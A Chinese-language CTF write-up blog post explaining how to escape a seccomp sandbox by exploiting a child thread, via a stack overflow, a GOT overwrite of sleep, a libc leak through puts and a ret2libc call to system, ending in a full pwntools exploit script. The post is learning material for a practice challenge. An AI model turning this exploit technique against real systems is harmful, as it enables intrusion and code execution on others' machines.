利用子进程去绕过在父进程中开启的沙箱保护

利用子进程去绕过父进程沙箱

做这道题前最好快照一下,要不然虚拟机很容易崩-_-

保护测略

沙箱是一个白名单,只允许exit,read,write,rt_sigreturn,看到rt_sigreturn,哎我发现我的srop还没学。真菜。

image-20221110125747591

image-20221110130102112

程序分析

程序很简单,就是利用pthread_create开启一个子进程,之后进入一个函数,里面有一个栈溢出,和一个沙箱保护。

image-20221110130628160

image-20221110130826051

漏洞利用

因为有一个沙箱和nx保护,所以shellcode和orw用不了,但是它有一个子进程,我们可以从这里入手,在开始之前我们需要了解一点前置知识,就是子进程和父进程之间共享什么,又不共享什么。子进程的栈空间是通过父进程调用mmap函数映射出的一段空间,也就是说除了栈空间之外的代码段,数据段是共享的。因此我们可以修改sleep的got地址为代码段的某一处地址,不断控制返回地址(注意这个返回地址,一定要si一步一步调,)

i thread 	查看有哪些进程
thread number 切换进程

调试过程

如下图所见,我们已近修改了sleep的got表地址,接下来在子进程中调用sleep函数时就会调用read函数,然后就可以在输入的过程中实现调用puts函数泄露地址并调试控制返回地址在为这个地址,再次输入完成调用system函数的调用传参(需要注意的点就是在调用read函数时,那个第二个参数是ebp-0x408的位置,q且在返回的时候有一个leave指令,所以说要注意输入的数据的规划来控制eip的指向)

image-20221110132031922

image-20221110132049971

image-20221110133156765

image-20221110133613598

在上图中我们发现过leave后eip最后指向ebp的地址,而输入的地址是ebp-0x408,ok大工完成

image-20221110132911907

exp

from tools import *
p,e,libc=load("a")
context.log_level='debug'
debug(p,0x804880C)
read=0x804880C
main=0x80488E9  
payload=b'a'*0x404+b'bbbb'+p32(0x0804a01c+0x408)+p32(e.plt['read'])+p32(main)+p32(0)+p32(e.got['sleep'])+p32(0x40)
p.sendline(payload)
pause()
payload=p32(read)
p.send(payload)
pause()
#payload=b'a'*0x3b0+p32(e.got['sleep']+0x408)#p32(e.plt['puts'])+p32(read)+p32(e.got['puts'])
payload=b'a'*0x3b0+p32(e.got['sleep']+0x408)+b'a'*0x8+p32(e.plt['puts'])+p32(0x0804880c)+p32(e.got['puts'])

p.send(payload) 
libc_base=recv_libc()-libc.symbols['puts']
log_addr('libc_base')
payload=b'a'*0x40c+p32(libc.symbols['system']+libc_base)+p32(0xdeadbeef)+p32(libc_base+0x0017e1db)
pause()
p.send(payload)
p.interactive()

链接

通过创建的线程开启shell绕过沙箱 | ZIKH26's Blog

posted @ 2022-11-10 13:45  何思泊河  阅读(135)  评论(0编辑  收藏  举报